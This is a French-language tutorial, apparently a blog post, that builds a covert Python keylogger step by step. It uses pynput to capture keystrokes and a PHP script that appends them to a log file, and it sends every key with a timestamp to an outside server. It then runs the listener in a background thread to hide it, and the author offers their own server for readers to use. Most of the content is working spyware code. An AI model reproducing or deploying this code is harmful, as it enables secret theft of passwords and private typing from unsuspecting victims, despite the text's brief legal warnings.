Les Keylogers
Le meilleur moyen pour progresser dans une langue est de la pratiquer, le python ne fait pas exception !

En bref un keylogger est un logiciel ou un dispositif qui enregistre secrètement les frappes d'un utilisateur sur un clavier, y compris les mots de passe et autres informations confidentielles.
Attention : L'utilisation de keyloggers à des fins illégales est passible de sanctions sévères en France, allant de fortes amendes à des peines de prison, en fonction de la gravité de l'infraction. Veillez à respecter scrupuleusement la législation en matière de cybersécurité.

De quoi avons-nous besoin :

    
from pynput import keyboard
from pynput.keyboard import Key
def on_press(key):
    try:
        tac = key.char
        print(tac)
    except :
        toc = key
        if toc == Key.caps_lock:
            print("[MAJ]")
        if toc == Key.space:
            print(" ")
        if toc == Key.delete:  
            print("[DELETE]>")
        if toc == Key.backspace:
            print("<[DELETE]")
        if toc == Key.enter:
            print("\n")
        else:
            pass
with keyboard.Listener(on_press=on_press) as listener:
        listener.join()
    










Pynput est une bibliothèque Python qui permet de contrôler et surveiller les dispositifs d'entrée, y compris le clavier.
Ici grâce à pynput nous avons ce script qui enregistre chaque touche dans une variable tac/toc et qu'il l'affiche.

C'est bien beau d'afficher les touches mais ça ne nous sert un peu à rien. Et si on les envoyait sur notre serveur ?
    
<?php
$file = "logs.txt";
$data = $_GET['k'];
$file = fopen($file, "a");
fwrite($file, $data);
fclose($file);

?<
    








Ce code envoie les données du paramètre GET de l'URL vers le fichier logs.txt.

Maintenant il faudrait trouver un moyen d'envoyer chaque touche vers notre serveur.
Nous allons ici utiliser requests, faisons un test avec "test".
    
import requests
requests.get("https://voilaxa.com/k/k.php?k=test")
 





Ca a l'air de bien marcher donc on modifie le code de base.
    
from pynput import keyboard
from pynput.keyboard import Key
import requests
import time
def on_press(key):
    try:
        tac = key.char
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        requests.get(f"https://voilaxa.com/k/k.php?k={tim} {tac}\n")
    except :
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        toc = key
        if toc == Key.caps_lock:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [maj]\n")
        if toc == Key.space:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [space]\n")
        if toc == Key.delete:  
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [del]>\n")
        if toc == Key.backspace:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} <[del]\n")
        if toc == Key.enter:
            requests.get(f"https://voila.com/k/k.php?={tim} [ENTER]")
        else:
            pass
with keyboard.Listener(on_press=on_press) as listener:
        listener.join()
    








J'en ai profité pour rajouter une donnée : le temps. Ici chaque caractère envoyé vers le serveur sera précédé de la date et de l'heure précise locale et ça donne maintenant ça :
Maintenant la dernière étape va être de rendre notre script moins visible, c’est-à-dire que même si la fenêtre est fermée, le script continuera de tourner en arrière-plan.
Pour ce faire, nous allons simplement mettre notre fonction dans un autre thread.
    
from pynput import keyboard
from pynput.keyboard import Key
import requests
import time
import threading
def on_press(key):
    try:
        tac = key.char
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        requests.get(f"https://voilaxa.com/k/k.php?k={tim} {tac}\n")
    except :
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        toc = key
        if toc == Key.caps_lock:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [maj]\n")
        if toc == Key.space:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [space]\n")
        if toc == Key.delete:  
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [del]>\n")
        if toc == Key.backspace:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} <[del]\n")
        if toc == Key.enter:
            requests.get(f"https://voila.com/k/k.php?={tim} [ENTER]")
        else:
            pass
def ar():
        with keyboard.Listener(on_press=on_press) as listener: listener.join()
back = threading.Thread(target=ar)
back.start()
    





Voilà le code final, vous pouvez vous servir de mon API, mais je rappelle que questionner quelqu'un sans son consentement est illégal.